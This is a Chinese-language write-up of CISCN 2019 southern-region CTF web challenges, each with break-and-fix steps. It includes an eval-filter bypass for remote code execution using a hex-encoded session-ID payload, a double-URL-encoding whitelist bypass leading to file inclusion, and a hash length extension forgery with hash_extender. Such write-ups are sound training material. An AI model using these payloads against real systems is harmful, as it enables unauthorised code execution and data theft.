- 题目是在Fix It环境拷下来的,写
writeup
时的环境是自己搭的- 有些题目忘记拷贝数据库,各位大佬凑活看吧
- 题目的GitHub仓库:https://github.com/NS-Sp4ce/2019-Ciscn-Southern-China-Web
Web1
Break It
打开页面如下
按照惯例Ctrl+U
看源代码,发现被注释的<!-- <p class="forgot"><a id="iforget" href="forgetpassword.php">Forgot your password?</a></p>-->
字面意思是重置密码的页面,访问试试
由于不知道用户名,抓包随便输入个用户名看看返回的信息
OK,找个用户名字典爆破下
设置下
爆破出admin123
这个用户存在
输入后,跳转到下一个页面
4位验证码爆破走起
扔Burpsuite
里
设置
走起,然后踩了第一个坑
验证码全部错误,Ctrl+U
看了下源代码
哦豁,设置base64
编码
继续爆破,时间不长出现重置密码的信息
用户名admin123
,密码f4h1l0t0j2g5b1m0a0m0a3d2d0
,登上去看看
提示phpmyadmin,进去看看
打开后发现
这时候比赛方放出hint,备份文件,然后,一顿扫
扫出备份文件
提示
Why not try code breaking?
//mDjNaF.php
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
接下来的步骤在赛后参考了2018RCTF
的原题r-cursive
(https://delcoding.github.io/2018/05/rctf-web-writeup1/#r-cursive)
根据正则匹配条件和本地搭环境调试可以知道只能执行不带参数、函数名不含包括_在内的特殊符号,所以只能是
x(y(z()))
此类的调用形式。所以从code
参数里进行函数执行是不太可能的了,比赛时也没有想到突破方法,后来才得知可以运行http header
头来进行处理。PHP中可以使用
get_headers
,getallheaders
获得HTTP请求头的信息,并返回键值数组,所以我们就只能用getallheaders()
来获取。又因为返回的是数组,我们可以使用implode()
来将数组转换成字符串。所以我们初步构造:implode(getallheaders())
。但如果仅是这样还不能运行我们的代码,因为implode()
返回的已经是字符串了,"implode()"
(注意"
),有相当于多嵌套了一层字符,所以我们应该使用eval(implode(getallheaders()));
来进行执行。
然后又发现cookie
中的PHPSESSID
可控,PHP
中session_id()
函数可以获取 PHPSESSID
,如果没有开启 session
可以使用 session_start()
函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin()
函数转换,尝试构造请求包如下
GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 Cookie: PHPSESSID=6563686f2754455354273b Host: 192.168.2.227:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 DNT: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
这样就可以构造RCE了
Payload:
GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293b
6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293b
Hex解码后为echo file_get_contents("/flag");
Fix it
修改mDjNaF.php
文件,注释掉eval
函数。
web7
Break it
打开题目
查看下源代码
注释掉了一个名为source
的php
文件,访问下
<?php
class kind
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","aa"=>"aa.php"];//白名单
if (! isset($page) || !is_string($page)) {//判断是否传递了page参数
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//判断page是否在白名单里
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//进行问号截取
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//出问题的代码
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& kind::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];//文件包含
exit;
} else {
echo "<h>Look carefully and you will find the answer.</h><br>";
}
?>
源代码显示是文件包含类型的,想要利用需要满足3个条件
file
参数不为空file
参数是字符串- 通过
kind
类中的checkFile
方法
所以用%253f(二次URL解码后是?
)就可以绕过了,PAYLOAD:file=source.php%253f/../flag.php
查看源代码是
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>
如果post
的pwd
等于当前的时间的时间戳,就返回flag
,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID
是我们可控的,pwd
也是我们可控的,唯一就是session
我们无法控制是多少,但是可以置为空,所以直接post
空的pwd
过去就可以了(这是fix
后的)
Fix it
- 可参考phpmyadmin官方的修复方式
die('Flag:'.$flag);
->die('Flag:NOPE');
web10
Break it
打开是个卫星控制系统,要日卫星?
查看下robots.txt
访问看看
登录时抓包,发现有段hash_key
猜测是md5
后的值,探测下目录
发现了License.txt
访问后发现了部分源代码
$flag = "flag{xxxxxx_just_a_sample_xxxxxxx}";
$bisskey = "xxxxxxxxx_just_a_sample_xxxxxxx"; // To remember Easily, 10 chars allowed.
$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);
if (!empty($_COOKIE["MyIdentity"])) {
if (urldecode($username) === "admin123" && urldecode($password) != "admin123") {
if ($_COOKIE["MyIdentity"] === md5($bisskey . urldecode($username .$password))) {
echo "Great! You win!\n";
echo ("<!-- Y0ur f!4g 1s here ". $flag . "-->");
}
else {
die ("I don't konw what you say!");
}
}
else {
die ("I don't konw what you say!");
}
}
setcookie("hash_key", md5($bisskey . urldecode("admin123" . "admin123")), time() + (60 * 60 * 24 * 7));//hashkey算法
其中hash_key
算法为$bisskey(长度10的字符串)
与url解码后的admin123admin123
相连接后进行md5
加密,爆破是不可能爆破了,查阅资料后发现可以用哈希扩展攻击,构造payload:
root@kali:~/hash_extender# ./hash_extender --data admin123admin123 --secret 10 --append ciscn --signature e7187cb49ce6d5958d279284af968254 --format md5
Type: md5
Secret length: 10
New signature: c862a00ecfd776d1907b30da639431e7
New string: 61646d696e31323361646d696e313233800000000000000000000000000000000000000000000000000000000000d000000000000000636973636e
替换MyIdentify
和password
后即可获得flag
Fix it
改掉bisskey
的值
END
总的来说这次比赛题目质量不错,做题体验极好,线下赛没有搅屎棍,选手们表示明年再来。